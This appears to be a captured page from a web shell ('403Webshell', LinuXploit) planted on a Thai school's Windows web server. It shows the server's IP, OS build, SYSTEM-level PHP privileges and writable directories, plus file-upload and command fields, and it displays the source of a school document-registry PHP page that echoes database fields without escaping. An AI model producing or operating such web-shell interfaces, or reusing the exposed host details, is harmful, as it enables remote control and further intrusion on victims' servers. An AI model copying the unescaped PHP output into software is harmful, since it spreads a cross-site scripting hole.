403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/saiyokmaneekan/modules/tkk4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/saiyokmaneekan/modules/tkk4/readtkk4_3.php
<script type="text/javascript">
function showemotion() {
	emotion1.style.display = 'none';
	emotion2.style.display = '';
}
function closeemotion() {
	emotion1.style.display = '';
	emotion2.style.display = 'none';
}

function emoticon(theSmilie) {

	document.form2.COMMENT.value += ' ' + theSmilie + ' ';
	document.form2.COMMENT.focus();
}
</script>
<TABLE align=center cellSpacing=0 cellPadding=0 width=800  border=0 >
<tr>
    <td width=600>
<?
$_GET['id'] = intval($_GET['id']);
//แสดงข่าวสาร/ประชาสัมพันธ์ 
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[tkk4] = $db->select_query("SELECT * FROM ".TB_TKK4." WHERE id='".$_GET[id]."' ");
$arr[tkk4] = $db->fetch($res[tkk4]);
$res[category] = $db->select_query("SELECT * FROM ".TB_WORKING_CAT." WHERE id='".$arr[tkk4][kom]."'  ");
$arr[category] = $db->fetch($res[category]);
$db->closedb ();
if(!$arr[tkk4][id]){
	echo "<BR><BR><BR><BR><CENTER><IMG SRC=\"images/icon/notview.gif\" BORDER=\"0\" ><BR><BR><B>ไม่มีเรื่อง</B></CENTER><BR><BR><BR><BR>";
}else{
	$Filetkk4Topic = "data/tkk4text/".$arr[tkk4][post_date].".txt";
	$file_open = @fopen($Filetkk4Topic, "r");
	$content = @fread ($file_open, @filesize($Filetkk4Topic));
	$Detail = stripslashes(FixQuotes($content));
	//ทำการเพิ่มจำนวนคนเข้าชม
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$q[Pageview] = "UPDATE ".TB_TKK4." SET pageview = pageview+1 WHERE id = '".$_GET[id]."' ";
	$sql[Pageview] = mysql_query ( $q[Pageview] ) or sql_error ( "db-query",mysql_error() );
	
	$db->closedb ();
?>
	<TABLE cellSpacing=0 cellPadding=0 width=700 border=0>
        <TR>
          <TD align=center>
<table width="800" align="center" border="0" cellspacing="0" cellpadding="0">
<TR>
          <TD align=center>
	 <tr>
    <td width="800" bgcolor="ffffff" colspan="5"> <IMG SRC="images/crut.png">
	<BR>
	<B><FONT COLOR="#000000" >เลขทะเบียน :  <?=$arr[tkk4][tabain];?> </B>
	<BR>
	<B><FONT COLOR="#000000" >เรื่อง : <?=$arr[tkk4][topic];?> 
		<BR>
ลงวันที่ <?echo ("".thai_date_fullmonth(strtotime($arr[tkk4][date]))."" );?>
	</B>
	<BR>
ถึง <?=$arr[tkk4][group_ska];?>
	<BR>
	<B><FONT COLOR="#000000" >ผู้ส่ง : <?=$arr[tkk4][posted];?>  <?=$arr[category][category_name];?></B>
<BR>
<B><FONT COLOR="#000000" >ว/ด/ป ที่ส่ง: <?echo ThaiTimeConvert($arr[tkk4][post_date],'','');?></B>
<BR>
<B><FONT COLOR="#0000FF" >เอกสาร :</B>
	<?
					 if($arr[tkk4][full_text]){ 	  
?>
<a href="data/tkk4/<?=$arr[tkk4][full_text];?>" target="_blank"><FONT COLOR="#FF0000" ><b>หนังสือนำ</b></A>,
		  <? } else {
		 echo "ยังไม่จัดเก็บสำเนา";
	 }?>
	 <?
					 if($arr[tkk4][full_texts]){ 	  
?>
<a href="data/tkk4/<?=$arr[tkk4][full_texts];?>" target="_blank"><FONT COLOR="#0000FF" ><b>แนบฉบับ 1</b></A>,
		  <? } else {
		 echo "";
	 }?>
	 <?
					 if($arr[tkk4][full_textu]){ 	  
?>
<a href="data/tkk4/<?=$arr[tkk4][full_textu];?>" target="_blank"><FONT COLOR="#0000FF" ><b>แนบฉบับ 2</b></A>,
		  <? } else {
		 echo "";
	 }?>
	 <?
					 if($arr[tkk4][full_texto]){ 	  
?>
<a href="data/tkk4/<?=$arr[tkk4][full_texto];?>" target="_blank"><FONT COLOR="#0000FF" ><b>แนบฉบับ 3</b></A>,
		  <? } else {
		 echo "";
	 }?>
 <?
					 if($arr[tkk4][full_texty]){ 	  
?>
<a href="data/tkk4/<?=$arr[tkk4][full_texty];?>" target="_blank"><FONT COLOR="#0000FF" ><b>แนบฉบับ 4</b></A>
		  <? } else {
		 echo "";
	 }?>
	 <BR><BR>

<FONT COLOR="#000000" ><b><u>จัดเก็บสำเนาเรียบร้อยแล้ว<br></u></b></font>

<tr>
	<?
	}
//=======================================================================================================================================
//			จบการแสดงโรงเรียนที่ยังไม่รับหนังสือ
//=======================================================================================================================================
?>
</td>
</tr>
  </table>		
			
							</TD>
						</TR>
						</TABLE>
			</td>
		 <tr></table>
			</CENTER>
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit